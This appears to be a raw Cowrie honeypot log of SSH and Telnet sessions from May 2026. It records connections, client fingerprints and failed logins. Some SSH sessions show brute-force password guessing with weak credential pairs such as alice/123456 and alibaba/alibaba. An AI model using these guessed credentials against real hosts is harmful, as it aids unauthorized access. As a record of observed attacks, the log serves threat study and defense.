{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54796,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f2e238a8d28","protocol":"ssh","message":"New connection: 159.203.92.129:54796 (159.203.135.109:22) [session: 9f2e238a8d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:44.905415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:44.911422Z","src_ip":"159.203.92.129","session":"9f2e238a8d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:44.917306Z","src_ip":"159.203.92.129","session":"9f2e238a8d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"qaz123","message":"login attempt [alias/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:44.987113Z","src_ip":"159.203.92.129","session":"9f2e238a8d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:37:45.994563Z","src_ip":"159.203.92.129","session":"9f2e238a8d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45556,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b1af1bab14","protocol":"ssh","message":"New connection: 159.203.92.129:45556 (159.203.135.109:22) [session: c3b1af1bab14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:26.821502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:26.825863Z","src_ip":"159.203.92.129","session":"c3b1af1bab14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:26.830418Z","src_ip":"159.203.92.129","session":"c3b1af1bab14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alibaba","password":"alibaba","message":"login attempt [alibaba/alibaba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:26.841074Z","src_ip":"159.203.92.129","session":"c3b1af1bab14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:27.846702Z","src_ip":"159.203.92.129","session":"c3b1af1bab14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.15.109.73","src_port":50984,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d8a1e97db0","protocol":"telnet","message":"New connection: 186.15.109.73:50984 (10.17.0.5:23) [session: 86d8a1e97db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:48.695029Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43806,"dst_ip":"10.17.0.5","dst_port":23,"session":"0052a63ebe0a","protocol":"telnet","message":"New connection: 159.203.13.64:43806 (10.17.0.5:23) [session: 0052a63ebe0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:38:54.396363Z"}
{"eventid":"cowrie.session.closed","duration":13.383037567138672,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:02.077979Z","src_ip":"186.15.109.73","session":"86d8a1e97db0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37580,"dst_ip":"159.203.135.109","dst_port":22,"session":"b002b7a1cd71","protocol":"ssh","message":"New connection: 159.203.92.129:37580 (159.203.135.109:22) [session: b002b7a1cd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:09.394803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:09.400470Z","src_ip":"159.203.92.129","session":"b002b7a1cd71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:09.405290Z","src_ip":"159.203.92.129","session":"b002b7a1cd71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"123456","message":"login attempt [alice/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:09.418680Z","src_ip":"159.203.92.129","session":"b002b7a1cd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:10.424456Z","src_ip":"159.203.92.129","session":"b002b7a1cd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41969847679138,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:28.815942Z","src_ip":"159.203.13.64","session":"0052a63ebe0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43946,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87f4fab2d22","protocol":"telnet","message":"New connection: 159.203.13.64:43946 (10.17.0.5:23) [session: e87f4fab2d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:32.120327Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee851bddf3a4","protocol":"telnet","message":"New connection: 159.203.13.64:43952 (10.17.0.5:23) [session: ee851bddf3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:37.837297Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43966,"dst_ip":"10.17.0.5","dst_port":23,"session":"331ab20ce517","protocol":"telnet","message":"New connection: 159.203.13.64:43966 (10.17.0.5:23) [session: 331ab20ce517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:40.195807Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"f03faafda932","protocol":"telnet","message":"New connection: 159.203.13.64:33448 (10.17.0.5:23) [session: f03faafda932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:44.265775Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b445c26eb743","protocol":"telnet","message":"New connection: 159.203.13.64:33452 (10.17.0.5:23) [session: b445c26eb743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:45.529286Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33464,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26255b1dcbb","protocol":"telnet","message":"New connection: 159.203.13.64:33464 (10.17.0.5:23) [session: c26255b1dcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:45.747737Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"75139fb2d61b","protocol":"telnet","message":"New connection: 159.203.13.64:33466 (10.17.0.5:23) [session: 75139fb2d61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:47.797233Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33468,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6a5f1b4255","protocol":"telnet","message":"New connection: 159.203.13.64:33468 (10.17.0.5:23) [session: bb6a5f1b4255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:48.152952Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55c1967929a","protocol":"telnet","message":"New connection: 159.203.13.64:33478 (10.17.0.5:23) [session: a55c1967929a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:48.464393Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57486,"dst_ip":"159.203.135.109","dst_port":22,"session":"f23dfb1677c3","protocol":"ssh","message":"New connection: 159.203.92.129:57486 (159.203.135.109:22) [session: f23dfb1677c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:51.746403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:51.750397Z","src_ip":"159.203.92.129","session":"f23dfb1677c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:51.754856Z","src_ip":"159.203.92.129","session":"f23dfb1677c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"alice","message":"login attempt [alice/alice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:51.767650Z","src_ip":"159.203.92.129","session":"f23dfb1677c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"d503aae5fd1d","protocol":"telnet","message":"New connection: 159.203.13.64:54296 (10.17.0.5:23) [session: d503aae5fd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:51.901499Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:39:52.773138Z","src_ip":"159.203.92.129","session":"f23dfb1677c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54304,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf83e7e95ad8","protocol":"telnet","message":"New connection: 159.203.13.64:54304 (10.17.0.5:23) [session: cf83e7e95ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:00.563406Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40676,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa15adebf881","protocol":"telnet","message":"New connection: 159.203.13.64:40676 (10.17.0.5:23) [session: aa15adebf881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:03.279170Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40688,"dst_ip":"10.17.0.5","dst_port":23,"session":"46168bf91c95","protocol":"telnet","message":"New connection: 159.203.13.64:40688 (10.17.0.5:23) [session: 46168bf91c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:04.667740Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40690,"dst_ip":"10.17.0.5","dst_port":23,"session":"154e9530616e","protocol":"telnet","message":"New connection: 159.203.13.64:40690 (10.17.0.5:23) [session: 154e9530616e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:04.801915Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"c919214a0023","protocol":"telnet","message":"New connection: 159.203.13.64:40700 (10.17.0.5:23) [session: c919214a0023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:04.894318Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40716,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe35780f83d2","protocol":"telnet","message":"New connection: 159.203.13.64:40716 (10.17.0.5:23) [session: fe35780f83d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:06.670370Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d4ae51ef93","protocol":"telnet","message":"New connection: 159.203.13.64:40720 (10.17.0.5:23) [session: a2d4ae51ef93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:09.061614Z"}
{"eventid":"cowrie.session.closed","duration":4.212301969528198,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:09.106702Z","src_ip":"159.203.13.64","session":"c919214a0023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60087251663208,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:09.721106Z","src_ip":"159.203.13.64","session":"e87f4fab2d22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40732,"dst_ip":"10.17.0.5","dst_port":23,"session":"d399eae6a0cd","protocol":"telnet","message":"New connection: 159.203.13.64:40732 (10.17.0.5:23) [session: d399eae6a0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:10.119496Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48380,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a46195009f","protocol":"telnet","message":"New connection: 159.203.13.64:48380 (10.17.0.5:23) [session: 21a46195009f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:14.468931Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60868,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2c7e852aa84","protocol":"telnet","message":"New connection: 80.252.221.197:60868 (159.203.135.109:23) [session: c2c7e852aa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.135196Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60872,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e49cffa250","protocol":"telnet","message":"New connection: 80.252.221.197:60872 (159.203.135.109:23) [session: d4e49cffa250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.198407Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"313fb1246caa","protocol":"telnet","message":"New connection: 159.203.13.64:48384 (10.17.0.5:23) [session: 313fb1246caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.280332Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60874,"dst_ip":"159.203.135.109","dst_port":23,"session":"585517f996b0","protocol":"telnet","message":"New connection: 80.252.221.197:60874 (159.203.135.109:23) [session: 585517f996b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.296673Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":60890,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4512b143f45","protocol":"telnet","message":"New connection: 80.252.221.197:60890 (159.203.135.109:23) [session: a4512b143f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.361482Z"}
{"eventid":"cowrie.session.closed","duration":35.265260457992554,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:15.460935Z","src_ip":"159.203.13.64","session":"331ab20ce517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.630945682525635,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:18.464777Z","src_ip":"159.203.13.64","session":"ee851bddf3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60158,"dst_ip":"10.17.0.5","dst_port":23,"session":"be68da4ff555","protocol":"telnet","message":"New connection: 159.203.13.64:60158 (10.17.0.5:23) [session: be68da4ff555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:20.991128Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf73406e8cd","protocol":"telnet","message":"New connection: 159.203.13.64:60160 (10.17.0.5:23) [session: 7cf73406e8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:40:22.706028Z"}
